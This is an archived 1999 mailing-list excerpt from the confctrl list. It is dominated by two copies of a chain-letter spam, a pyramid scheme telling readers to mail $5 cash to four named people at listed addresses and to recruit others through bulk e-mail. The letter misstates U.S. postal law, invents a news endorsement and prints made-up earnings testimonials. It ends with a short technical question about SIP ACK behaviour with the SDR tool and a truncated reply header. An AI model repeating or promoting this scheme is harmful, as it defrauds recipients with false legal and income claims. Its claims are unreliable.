Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA05956
	for confctrl-outgoing; Mon, 24 May 1999 17:50:49 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA05945
	for <confctrl@zephyr.isi.edu>; Mon, 24 May 1999 17:50:48 -0700 (PDT)
Received: from sims-ha.videotron.net (faure.videotron.net [205.151.222.100])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA26305
	for <confctrl@isi.edu>; Mon, 24 May 1999 17:50:46 -0700 (PDT)
Received: from homer ([207.96.216.36]) by sims-ha.videotron.net (Sun Internet Mail Server sims.3.5.1999.03.02.17.58.p5)
 with ESMTP id <0FC9008KKJKWWS@sims-ha.videotron.net> for confctrl@isi.edu; Mon, 24 May 1999 20:48:36 -0400 (EDT)
Date: Mon, 24 May 1999 20:48:32 -0400
From: SunSeth <SunSeth@mail.ragemail.com>
Subject: Biggest Chance Ever
X-Sender: sunseth@mail.ragemail.com
To: confctrl@ISI.EDU
Message-id: <4.2.0.37.19990524204821.00a25480@mail.ragemail.com>
MIME-version: 1.0
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.37 (Beta)
Content-type: text/plain; format=flowed; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

To be removed from future mailings (see last paragraph for
details), reply to p.josefina@eudoramail.com. In the subject
write REMOVE.

This is it folks.
This is the letter you've been reading about in the news lately.
Due to the popularity of this letter on the Internet, a major
nightly news program recently devoted an entire show to the
investigation of the program described below , to see if it
really can make people money. If you saw it, you know that their
conclusion was ,that while most people did not make the $55,000,
as discussed in the plan, EVERYONE who followed the instructions
was able to make 100 to 160 times their money at the VERY LEAST.
The show also investigated whether or not the program was legal.
Their findings proved once and for all that there are absolutely
no laws prohibiting the participation in the program.
"This is one of the most exciting opportunities with the MOST
income potential on the internet today!" --48 Hours..



Is it legal? - Yes, (Refer to title 18, Section 1302 & 1342 of
the U.S. Postal and Lottery Laws)
This opportunity isn't much of a risk and could turn out to
actually be a bit of fun.
Bottom Line;
The risk is only $20 and time on the Internet.


The following is a copy of the letter that the media was
referring to:
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
This is a LEGAL, MONEY-MAKING PHENOMENON.
PRINT this letter,READ the directions, THEN READ IT AGAIN !!!


You are about to embark on the most profitable and unique program
you may ever see. Many times over, it has demonstrated and proven
its ability to generate large amounts of cash. This program is
showing fantastic appeal with a huge and ever-growing on-line
population desirous of additional income.

This is a legitimate, LEGAL, money-making opportunity. It does
not require you to come in personal contact with people, do any
hard work, and best of all, you never have to leave the house,
except to get the mail and go to the bank!
This truly is that lucky break you've been waiting for! Simply
follow the easy instructions in this letter, and your financial
dreams can come true! When followed correctly, this electronic,
multi-level marketing program WORKS!
Thousands of people have used this program to:
- Raise capital to start their own business
- Pay off debts
- Buy homes, cars, etc.,
- Even retire!
This is your chance, Don't pass it up!

---------------------------------------------------------------------------- 
------
OVERVIEW OF THIS EXTRAORDINARY
ELECTRONIC MULTI-LEVEL MARKETING PROGRAM
---------------------------------------------------------------------------- 
------

Basically, this is what we do:
We send thousands of people a product that they paid us $5.00 US
for, that costs next to nothing to produce and e-mail back to
them. As with all multi-level businesses, we build our business
by recruiting new partners and selling our products. Every state
in the U.S. allows you to recruit new multi- level business
online (via your computer).
The products in this program are a series of four business and
financial reports costing $5.00 each. Each order you receive is
to include:
* $5.00 cash United States Currency
* The name and number of the report they are ordering
* The e-mail address where you will e-mail them the report they
ordered.
To fill each order, you simply e-mail the product to the buyer.
THAT'S IT! The $5.00 is yours! This is the EASIEST electronic
multi-level marketing business anywhere!



FOLLOW THE INSTRUCTIONS TO THE LETTER AND
BE PREPARED TO REAP THE STAGGERING BENEFITS!
+++++++++ I N S T R U C T I O N S +++++++++


This is what you MUST do:
1. Order all 4 reports shown on the list below (you can't sell
them if you don't order them).
* For each report, send $5.00 CASH, the NAME & NUMBER OF THE
REPORT YOU ARE ORDERING, YOUR E-MAIL ADDRESS, and YOUR
RETURN POSTAL ADDRESS (in case of a problem) to the person whose
name appears on the list next to the report.
* When you place your order, make sure you order each of the four
reports. You will need all four reports so that you can save them
on your computer and resell them.
* Within a few days you are to receive, via e-mail, each of the four reports.
Save them on your computer so they will be accessible for you to send
to the 1,000's of people who will order them from you.

2. IMPORTANT-- DO NOT alter the names of the people who are listed
next to each report, or their sequence on the list, in any way other than
is instructed below in steps "a" through "d" or you will lose out on the
majority of your profits. Once you understand the way this works,
you'll also see how it doesn't work if you change it. Remember, this
method has been tested, and if you alter it, it will not work.

a. Look below for the listing of available reports.
b. After you've ordered the four reports, replace the name and
address under REPORT #1 with your name and address, moving the
one that was there down to REPORT #2.
c.Move the name and address that was under REPORT #2 down to .
REPORT #3
d. Move the name and address that was under REPORT #3 down to
REPORT#4
e. The name and address that was under REPORT #4 is removed from
the list and has NO DOUBT collected large sums of cash!

Please make sure you copy everyone's name and address
ACCURATELY!!!


3. Take this entire letter, including the modified list of names, and save 
it to
your computer. Make NO changes to the instruction portion of this letter.

4. Now you're ready to start an advertising campaign on the
WORLDWIDE WEB! Advertising on the WEB can be very, very inexpensive,
and there are HUNDREDS of FREE places to advertise. Another avenue which
you could use for advertising is e-mail lists. You can buy these lists for 
under
$20/2,000 addresses or you can pay someone to take care of it for you.
BE SURE TO START YOUR AD CAMPAIGN IMMEDIATELY!

5. For every $5.00 you receive, all you must do is e-mail them the report
they ordered. THAT'S IT! ALWAYS PROVIDE SAME-DAY SERVICE ON ALL
ORDERS! This will help guarantee that the e-mail THEY send out, with YOUR
name and address on it, will be prompt because they can't advertise until
they receive the report! To grow fast be prompt and courteous.


--------------------------------------
AVAILABLE REPORTS
---------------------------------------
**Order Each REPORT by NUMBER and NAME**


Notes:
- ALWAYS SEND $5 CASH FOR EACH REPORT
- ALWAYS SEND YOUR ORDER VIA THE QUICKEST DELIVERY
- Make sure the cash is concealed by wrapping it in at least two
sheets of paper
- On one of those sheets of paper, include: (a) the number & name
of the report you are ordering, (b) your e-mail address, and (c)
your postal address.
_________________________________________________________________
REPORT #1 "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"
ORDER REPORT #1 FROM:
Hans Viens
22, Rte 143
North-Hatley, Quebec
Canada
J0B-2C0
_________________________________________________________________
REPORT #2 "MAJOR CORPORATIONS AND MULTI-LEVEL SALES"
ORDER REPORT #2 FROM:
Fernanda Borges
8831 SW 142 Avenue # 1935
Miami, FL 33186
_________________________________________________________________
REPORT #3 "SOURCES FOR THE BEST MAILING LISTS"
ORDER REPORT #3 FROM:
Arnaldo Pacheco
P.O. Box 523027
Miami, FL 33152-3027
_________________________________________________________________
REPORT #4 "EVALUATING MULTI-LEVEL SALES PLANS"
ORDER REPORT #4 FROM:
Debora de Jesus
P.O. Box 524616
Miami, FL 33152-4616
_________________________________________________________________


-----------------------------------------------------------------
HERE'S HOW THIS AMAZING PLAN WILL MAKE YOU $MONEY$
-----------------------------------------------------------------
Let's say you decide to start small just to see how well it
works. Assume your goal is to get 10 people to participate on
your first level. (Placing a lot of FREE ads on the Internet will
EASILY get a larger response.) Also assume that everyone else in
YOUR ORGANIZATION gets ONLY 10 down line members. Follow this
example to achieve the STAGGERING results below.
1st level--your 10 members with
$5...........................................$50
2nd level--10 members from those 10 ($5 x
100)..................$500
3rd level--10 members from those 100 ($5 x 1,000)..........$5,000
4th level--10 members from those 1,000 ($5 x 10,000)...$50,000
THIS TOTALS ----------->$55,550
Remember friends, this assumes that the people who participate
only recruit 10 people each. Think for a moment what would happen
if they got 20 people to participate! Lots of people get 100s of
participants! THINK ABOUT IT!
Your cost to participate in this is practically nothing (surely
you can afford $20). You obviously already have an Internet
connection and e-mail is FREE!!! REPORT#3 shows you the most
productive methods for bulk e-mailing and purchasing e-mail
lists. Some list & bulk e-mail vendors even work on trade!
About 50,000 new people get online every month


****TIPS FOR SUCCESS****


* TREAT THIS AS YOUR BUSINESS! Be prompt, professional, and
follow the directions accurately.
* Send for the four reports IMMEDIATELY so you will have them
when the orders start coming in because:
When you receive a $5 order, you MUST send out the requested
product/report to comply
with the U.S. Postal & Lottery Laws, Title 18,Sections 1302 and
1341 or Title 18, Section 3005
in the U.S. Code also Code of Federal Regs. vol. 16, Sections 255
and 436, which state
that "a product or service must be exchanged for money received."
*ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE.
* Be patient and persistent with this program. If you follow the
instructions exactly, the results WILL undoubtedly be SUCCESSFUL!
* ABOVE ALL, HAVE FAITH IN YOURSELF AND KNOW YOU WILL SUCCEED!


********************YOUR SUCCESS GUIDELINE********************


Follow these guidelines to help assure your success:
If you don't receive 10 to 20 orders for REPORT #1 within two
weeks, continue advertising until you do. Then, a couple of weeks
later you should receive at least 50 orders for REPORT #2. If you
don't, continue advertising until you do. Once you have received
50 or more orders for REPORT #2, YOU CAN RELAX, because the
system is already working for you, and the cash can continue to
roll in!

THIS IS IMPORTANT TO REMEMBER:
Every time your name is moved down on the list, you are placed in
front of a DIFFERENT report. You can KEEP TRACK of your PROGRESS
by watching which report people are ordering from you. If you
want to generate more income, send another batch of e-mails and
start the whole process again! There is no limit to the income
you will generate from this business!

NOTE: If you need help with starting a business, registering a
business name, how income tax is handled, etc., contact your
local office of the Small Business Administration (a Federal
agency) for free help and answers to questions. Also, the
Internal Revenue Service offers free help via telephone and free
seminars about business taxes. If you have any question of the
legality of this letter contact the Office of Associate Director
for Marketing Practices Federal Trade Commission Bureau of
Consumer Protection in Washington DC.


**T E S T I M O N I A L S**


This program does work, but you must follow it EXACTLY!
Especially the rule of not trying to place your name in a
different position, it won't work and you'll lose a lot of
potential income. I'm living proof that it works. It really is a
great opportunity to make relatively easy money, with little cost
to you. If you do choose to participate, follow the program
exactly, and you'll be on your way to financial security.
Sean McLaughlin, Jackson, MS
The main reason for this letter is to convince you that this
system is honest, lawful, extremely profitable, and is a way to
get a large amount of money in a short time. I was approached
several times before I checked this out. I joined just to see
what one could expect in return for the minimal effort and money
required. To my astonishment, I received $36,470.00 in the first
19 weeks, with money still coming in.
Sincerely yours, Phillip A. Brown, Esq.
I had received this program before. I deleted it, but later I
wondered if I shouldn't have given it a try. Of course, I had no
idea who to contact to get another copy, so I had to wait until I
was e-mailed another program...11 months passed then it came...I
didn'tdelete this one!...I made more than $41,000 on the first
try!!
D. Wilburn, Muncie, IN
This is my third time to participate in this plan. We have quit
our jobs, and will soon buy a home on the beach and live off the
interest on our money. The only way on earth that this plan will
work for you is if you do it. For your sake, and for your
family's sake don't pass up this golden opportunity. Good luck
and happy spending!
Charles Fairchild, Spokane, WA
. I am nearing the $90,000 mark from this program.I have used
several forms of advertisement.I used regular mail and bulk e-mail.
The regular mail that I used was very expensive for two reasons.
I purchased a very select list of names and the postage. The third
time I sent e-mails out,I did so in the quantity of 1 million. So, after
3 times participating in this program I am almost at the $90,000 mark.
That isn't too bad. I hope the same success for you.

Good Luck.

Raymond McCormick, New Cannan, Ct.
You have great potential for extra earnings that is available at
your finger-tips! You have unlimited access to wealth, but you
must be willing to take that first step! The Media ALREADY PROVED
That !!!!
You could be making an obscene amount of money!
I have given you the information, materials, and opportunity to
become
financially better off. IT IS UP TO YOU NOW!- THINK ABOUT IT -
Your risk is
only $20.? HOW MUCH DO YOU SPEND ON LOTTO TICKETS- for NO RETURN?

ORDER YOUR REPORTS TODAY AND GET
STARTED ON YOUR ROAD TO
FINANCIAL FREEDOM!!!




Under Bill S.1618 TITLE III passed by the U.S. Congress this
letter can not be considered spam as long as we include the way
to be removed. To be removed from future mailings for free just
click on the hyperlink at the top of this page and put the title
"REMOVE" in the subject line. This will permanently remove you
from all future mailing. All future mailings from other e-mail
addresses must be dealt with separately. 

From confctrl-owner  Mon May 24 18:31:03 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA20820
	for confctrl-outgoing; Mon, 24 May 1999 18:31:03 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA20808
	for <confctrl@zephyr.isi.edu>; Mon, 24 May 1999 18:31:00 -0700 (PDT)
Received: from sims-ha.videotron.net (faure.videotron.net [205.151.222.100])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA29431
	for <confctrl@isi.edu>; Mon, 24 May 1999 18:30:59 -0700 (PDT)
Received: from homer ([207.96.216.36]) by sims-ha.videotron.net (Sun Internet Mail Server sims.3.5.1999.03.02.17.58.p5)
 with ESMTP id <0FC900EAILCYA4@sims-ha.videotron.net> for confctrl@isi.edu; Mon, 24 May 1999 21:27:02 -0400 (EDT)
Date: Mon, 24 May 1999 20:58:31 -0400
From: SunSeth <SunSeth@mail.ragemail.com>
Subject: Biggest Chance Ever
X-Sender: sunseth@mail.ragemail.com
To: confctrl@ISI.EDU
Message-id: <4.2.0.37.19990524204821.00a25480@mail.ragemail.com>
MIME-version: 1.0
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.37 (Beta)
Content-type: text/plain; format=flowed; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

To be removed from future mailings (see last paragraph for
details), reply to p.josefina@eudoramail.com. In the subject
write REMOVE.

This is it folks.
This is the letter you've been reading about in the news lately.
Due to the popularity of this letter on the Internet, a major
nightly news program recently devoted an entire show to the
investigation of the program described below , to see if it
really can make people money. If you saw it, you know that their
conclusion was ,that while most people did not make the $55,000,
as discussed in the plan, EVERYONE who followed the instructions
was able to make 100 to 160 times their money at the VERY LEAST.
The show also investigated whether or not the program was legal.
Their findings proved once and for all that there are absolutely
no laws prohibiting the participation in the program.
"This is one of the most exciting opportunities with the MOST
income potential on the internet today!" --48 Hours..



Is it legal? - Yes, (Refer to title 18, Section 1302 & 1342 of
the U.S. Postal and Lottery Laws)
This opportunity isn't much of a risk and could turn out to
actually be a bit of fun.
Bottom Line;
The risk is only $20 and time on the Internet.


The following is a copy of the letter that the media was
referring to:
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
This is a LEGAL, MONEY-MAKING PHENOMENON.
PRINT this letter,READ the directions, THEN READ IT AGAIN !!!


You are about to embark on the most profitable and unique program
you may ever see. Many times over, it has demonstrated and proven
its ability to generate large amounts of cash. This program is
showing fantastic appeal with a huge and ever-growing on-line
population desirous of additional income.

This is a legitimate, LEGAL, money-making opportunity. It does
not require you to come in personal contact with people, do any
hard work, and best of all, you never have to leave the house,
except to get the mail and go to the bank!
This truly is that lucky break you've been waiting for! Simply
follow the easy instructions in this letter, and your financial
dreams can come true! When followed correctly, this electronic,
multi-level marketing program WORKS!
Thousands of people have used this program to:
- Raise capital to start their own business
- Pay off debts
- Buy homes, cars, etc.,
- Even retire!
This is your chance, Don't pass it up!

---------------------------------------------------------------------------- 
------
OVERVIEW OF THIS EXTRAORDINARY
ELECTRONIC MULTI-LEVEL MARKETING PROGRAM
---------------------------------------------------------------------------- 
------

Basically, this is what we do:
We send thousands of people a product that they paid us $5.00 US
for, that costs next to nothing to produce and e-mail back to
them. As with all multi-level businesses, we build our business
by recruiting new partners and selling our products. Every state
in the U.S. allows you to recruit new multi- level business
online (via your computer).
The products in this program are a series of four business and
financial reports costing $5.00 each. Each order you receive is
to include:
* $5.00 cash United States Currency
* The name and number of the report they are ordering
* The e-mail address where you will e-mail them the report they
ordered.
To fill each order, you simply e-mail the product to the buyer.
THAT'S IT! The $5.00 is yours! This is the EASIEST electronic
multi-level marketing business anywhere!



FOLLOW THE INSTRUCTIONS TO THE LETTER AND
BE PREPARED TO REAP THE STAGGERING BENEFITS!
+++++++++ I N S T R U C T I O N S +++++++++


This is what you MUST do:
1. Order all 4 reports shown on the list below (you can't sell
them if you don't order them).
* For each report, send $5.00 CASH, the NAME & NUMBER OF THE
REPORT YOU ARE ORDERING, YOUR E-MAIL ADDRESS, and YOUR
RETURN POSTAL ADDRESS (in case of a problem) to the person whose
name appears on the list next to the report.
* When you place your order, make sure you order each of the four
reports. You will need all four reports so that you can save them
on your computer and resell them.
* Within a few days you are to receive, via e-mail, each of the four reports.
Save them on your computer so they will be accessible for you to send
to the 1,000's of people who will order them from you.

2. IMPORTANT-- DO NOT alter the names of the people who are listed
next to each report, or their sequence on the list, in any way other than
is instructed below in steps "a" through "d" or you will lose out on the
majority of your profits. Once you understand the way this works,
you'll also see how it doesn't work if you change it. Remember, this
method has been tested, and if you alter it, it will not work.

a. Look below for the listing of available reports.
b. After you've ordered the four reports, replace the name and
address under REPORT #1 with your name and address, moving the
one that was there down to REPORT #2.
c.Move the name and address that was under REPORT #2 down to .
REPORT #3
d. Move the name and address that was under REPORT #3 down to
REPORT#4
e. The name and address that was under REPORT #4 is removed from
the list and has NO DOUBT collected large sums of cash!

Please make sure you copy everyone's name and address
ACCURATELY!!!


3. Take this entire letter, including the modified list of names, and save 
it to
your computer. Make NO changes to the instruction portion of this letter.

4. Now you're ready to start an advertising campaign on the
WORLDWIDE WEB! Advertising on the WEB can be very, very inexpensive,
and there are HUNDREDS of FREE places to advertise. Another avenue which
you could use for advertising is e-mail lists. You can buy these lists for 
under
$20/2,000 addresses or you can pay someone to take care of it for you.
BE SURE TO START YOUR AD CAMPAIGN IMMEDIATELY!

5. For every $5.00 you receive, all you must do is e-mail them the report
they ordered. THAT'S IT! ALWAYS PROVIDE SAME-DAY SERVICE ON ALL
ORDERS! This will help guarantee that the e-mail THEY send out, with YOUR
name and address on it, will be prompt because they can't advertise until
they receive the report! To grow fast be prompt and courteous.


--------------------------------------
AVAILABLE REPORTS
---------------------------------------
**Order Each REPORT by NUMBER and NAME**


Notes:
- ALWAYS SEND $5 CASH FOR EACH REPORT
- ALWAYS SEND YOUR ORDER VIA THE QUICKEST DELIVERY
- Make sure the cash is concealed by wrapping it in at least two
sheets of paper
- On one of those sheets of paper, include: (a) the number & name
of the report you are ordering, (b) your e-mail address, and (c)
your postal address.
_________________________________________________________________
REPORT #1 "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"
ORDER REPORT #1 FROM:
Hans Viens
22, Rte 143
North-Hatley, Quebec
Canada
J0B-2C0
_________________________________________________________________
REPORT #2 "MAJOR CORPORATIONS AND MULTI-LEVEL SALES"
ORDER REPORT #2 FROM:
Fernanda Borges
8831 SW 142 Avenue # 1935
Miami, FL 33186
_________________________________________________________________
REPORT #3 "SOURCES FOR THE BEST MAILING LISTS"
ORDER REPORT #3 FROM:
Arnaldo Pacheco
P.O. Box 523027
Miami, FL 33152-3027
_________________________________________________________________
REPORT #4 "EVALUATING MULTI-LEVEL SALES PLANS"
ORDER REPORT #4 FROM:
Debora de Jesus
P.O. Box 524616
Miami, FL 33152-4616
_________________________________________________________________


-----------------------------------------------------------------
HERE'S HOW THIS AMAZING PLAN WILL MAKE YOU $MONEY$
-----------------------------------------------------------------
Let's say you decide to start small just to see how well it
works. Assume your goal is to get 10 people to participate on
your first level. (Placing a lot of FREE ads on the Internet will
EASILY get a larger response.) Also assume that everyone else in
YOUR ORGANIZATION gets ONLY 10 down line members. Follow this
example to achieve the STAGGERING results below.
1st level--your 10 members with
$5...........................................$50
2nd level--10 members from those 10 ($5 x
100)..................$500
3rd level--10 members from those 100 ($5 x 1,000)..........$5,000
4th level--10 members from those 1,000 ($5 x 10,000)...$50,000
THIS TOTALS ----------->$55,550
Remember friends, this assumes that the people who participate
only recruit 10 people each. Think for a moment what would happen
if they got 20 people to participate! Lots of people get 100s of
participants! THINK ABOUT IT!
Your cost to participate in this is practically nothing (surely
you can afford $20). You obviously already have an Internet
connection and e-mail is FREE!!! REPORT#3 shows you the most
productive methods for bulk e-mailing and purchasing e-mail
lists. Some list & bulk e-mail vendors even work on trade!
About 50,000 new people get online every month


****TIPS FOR SUCCESS****


* TREAT THIS AS YOUR BUSINESS! Be prompt, professional, and
follow the directions accurately.
* Send for the four reports IMMEDIATELY so you will have them
when the orders start coming in because:
When you receive a $5 order, you MUST send out the requested
product/report to comply
with the U.S. Postal & Lottery Laws, Title 18,Sections 1302 and
1341 or Title 18, Section 3005
in the U.S. Code also Code of Federal Regs. vol. 16, Sections 255
and 436, which state
that "a product or service must be exchanged for money received."
*ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE.
* Be patient and persistent with this program. If you follow the
instructions exactly, the results WILL undoubtedly be SUCCESSFUL!
* ABOVE ALL, HAVE FAITH IN YOURSELF AND KNOW YOU WILL SUCCEED!


********************YOUR SUCCESS GUIDELINE********************


Follow these guidelines to help assure your success:
If you don't receive 10 to 20 orders for REPORT #1 within two
weeks, continue advertising until you do. Then, a couple of weeks
later you should receive at least 50 orders for REPORT #2. If you
don't, continue advertising until you do. Once you have received
50 or more orders for REPORT #2, YOU CAN RELAX, because the
system is already working for you, and the cash can continue to
roll in!

THIS IS IMPORTANT TO REMEMBER:
Every time your name is moved down on the list, you are placed in
front of a DIFFERENT report. You can KEEP TRACK of your PROGRESS
by watching which report people are ordering from you. If you
want to generate more income, send another batch of e-mails and
start the whole process again! There is no limit to the income
you will generate from this business!

NOTE: If you need help with starting a business, registering a
business name, how income tax is handled, etc., contact your
local office of the Small Business Administration (a Federal
agency) for free help and answers to questions. Also, the
Internal Revenue Service offers free help via telephone and free
seminars about business taxes. If you have any question of the
legality of this letter contact the Office of Associate Director
for Marketing Practices Federal Trade Commission Bureau of
Consumer Protection in Washington DC.


**T E S T I M O N I A L S**


This program does work, but you must follow it EXACTLY!
Especially the rule of not trying to place your name in a
different position, it won't work and you'll lose a lot of
potential income. I'm living proof that it works. It really is a
great opportunity to make relatively easy money, with little cost
to you. If you do choose to participate, follow the program
exactly, and you'll be on your way to financial security.
Sean McLaughlin, Jackson, MS
The main reason for this letter is to convince you that this
system is honest, lawful, extremely profitable, and is a way to
get a large amount of money in a short time. I was approached
several times before I checked this out. I joined just to see
what one could expect in return for the minimal effort and money
required. To my astonishment, I received $36,470.00 in the first
19 weeks, with money still coming in.
Sincerely yours, Phillip A. Brown, Esq.
I had received this program before. I deleted it, but later I
wondered if I shouldn't have given it a try. Of course, I had no
idea who to contact to get another copy, so I had to wait until I
was e-mailed another program...11 months passed then it came...I
didn'tdelete this one!...I made more than $41,000 on the first
try!!
D. Wilburn, Muncie, IN
This is my third time to participate in this plan. We have quit
our jobs, and will soon buy a home on the beach and live off the
interest on our money. The only way on earth that this plan will
work for you is if you do it. For your sake, and for your
family's sake don't pass up this golden opportunity. Good luck
and happy spending!
Charles Fairchild, Spokane, WA
. I am nearing the $90,000 mark from this program.I have used
several forms of advertisement.I used regular mail and bulk e-mail.
The regular mail that I used was very expensive for two reasons.
I purchased a very select list of names and the postage. The third
time I sent e-mails out,I did so in the quantity of 1 million. So, after
3 times participating in this program I am almost at the $90,000 mark.
That isn't too bad. I hope the same success for you.

Good Luck.

Raymond McCormick, New Cannan, Ct.
You have great potential for extra earnings that is available at
your finger-tips! You have unlimited access to wealth, but you
must be willing to take that first step! The Media ALREADY PROVED
That !!!!
You could be making an obscene amount of money!
I have given you the information, materials, and opportunity to
become
financially better off. IT IS UP TO YOU NOW!- THINK ABOUT IT -
Your risk is
only $20.? HOW MUCH DO YOU SPEND ON LOTTO TICKETS- for NO RETURN?

ORDER YOUR REPORTS TODAY AND GET
STARTED ON YOUR ROAD TO
FINANCIAL FREEDOM!!!




Under Bill S.1618 TITLE III passed by the U.S. Congress this
letter can not be considered spam as long as we include the way
to be removed. To be removed from future mailings for free just
click on the hyperlink at the top of this page and put the title
"REMOVE" in the subject line. This will permanently remove you
from all future mailing. All future mailings from other e-mail
addresses must be dealt with separately. 

From confctrl-owner  Tue May 25 00:08:54 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA13236
	for confctrl-outgoing; Tue, 25 May 1999 00:08:54 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA13231
	for <confctrl@zephyr.isi.edu>; Tue, 25 May 1999 00:08:53 -0700 (PDT)
Received: from alaska.wise.edt.ericsson.se (alaska-ext.wise.edt.ericsson.se [194.237.142.4])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id AAA14293
	for <confctrl@ISI.EDU>; Tue, 25 May 1999 00:08:50 -0700 (PDT)
Received: from lmf.lmf.ericsson.se (umail.lmf.ericsson.se [131.160.11.2])
	by alaska.wise.edt.ericsson.se (8.9.0/8.9.0/WIREfire-1.2) with ESMTP id JAA12309
	for <confctrl@ISI.EDU>; Tue, 25 May 1999 09:09:35 +0200 (MET DST)
Received: from ericsson.fi by lmf.lmf.ericsson.se (8.8.8+Sun/SMI-SVR4)
	id KAA20799; Tue, 25 May 1999 10:08:11 +0300 (EET DST)
Message-ID: <374A4BA7.3633B063@ericsson.fi>
Date: Tue, 25 May 1999 10:05:11 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.05 [en] (WinNT; I)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: SDR tool
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

I was trying to check if a SIP UAC/UAS that I've got could interoperate
with standard SIP tools. I chose the SDR tool for this test.

I've noticed that: first of all, an INVITE request is sent, with a
session description written using SDP... but then, the 200 OK response
does not contain any session information... and there is no ACK at all.

Since SDR is designed for the MBONE, multicast is used, and therefore, a
second session description is not needed.

Is this a standard SIP behaviour? (I thought that we always had to
return an ACK).

Thanks,

Gonzalo
-- 
Gonzalo Camarillo         Phone :  +358  9 299 33 71
Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
Telecom R&D               Fax   :  +358  9 299 31 18
FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.fi
Finland

From confctrl-owner  Tue May 25 01:02:40 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id BAA19791
	for confctrl-outgoing; Tue, 25 May 1999 01:02:40 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id BAA19786
	for <confctrl@zephyr.isi.edu>; Tue, 25 May 1999 01:02:39 -0700 (PDT)
Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.5])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id BAA16152
	for <confctrl@ISI.EDU>; Tue, 25 May 1999 01:02:37 -0700 (PDT)
Received: from lmf.lmf.ericsson.se (umail.lmf.ericsson.se [131.160.11.2])
	by penguin.wise.edt.ericsson.se (8.9.0/8.9.0/WIREfire-1.2) with ESMTP id KAA16669
	for <confctrl@ISI.EDU>; Tue, 25 May 1999 10:02:06 +0200 (MET DST)
Received: from ericsson.com by lmf.lmf.ericsson.se (8.8.8+Sun/SMI-SVR4)
	id LAA23753; Tue, 25 May 1999 11:01:32 +0300 (EET DST)
Message-ID: <374A5828.C819FC33@ericsson.com>
Date: Tue, 25 May 1999 10:58:32 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@ericsson.com>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.05 [en] (WinNT; I)
MIME-Version: 1.0
To: mmusic <confctrl@ISI.EDU>
Subject: SIP and multicast
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

I was trying to check if a SIP UAC/UAS that I've got could interoperate
with standard SIP tools. I chose the SDR tool for this test.

I've noticed that: first of all, an INVITE request is sent, with a
session description written using SDP... but then, the 200 OK response
does not contain any session information... and there is no ACK at all.

Since SDR is designed for the MBONE, multicast is used, and therefore, a
second session description is not needed.

Is this a standard SIP behaviour? (I thought that we always had to
return an ACK).

Thanks,

Gonzalo
-- 
Gonzalo Camarillo         Phone :  +358  9 299 33 71
Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
Telecom R&D               Fax   :  +358  9 299 31 18
FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
Finland

From confctrl-owner  Tue May 25 01:49:28 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id BAA22663
	for confctrl-outgoing; Tue, 25 May 1999 01:49:28 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id BAA22658
	for <confctrl@zephyr.isi.edu>; Tue, 25 May 1999 01:49:27 -0700 (PDT)
Received: from rock.cefriel.it (rock.cefriel.it [131.175.55.3] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id BAA17356
	for <confctrl@ISI.EDU>; Tue, 25 May 1999 01:49:15 -0700 (PDT)
Received: from cs.columbia.edu (bellisario.cefriel.it [131.175.55.134]) by rock.cefriel.it with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0)
	id LBSPP9J3; Tue, 25 May 1999 10:53:32 +0200
Message-ID: <374AE3A3.B33838FD@cs.columbia.edu>
Date: Tue, 25 May 1999 10:53:39 -0700
From: Henning Schulzrinne <hgs@cs.columbia.edu>
X-Mailer: Mozilla 4.5 [en] (Win98; I)
X-Accept-Language: en
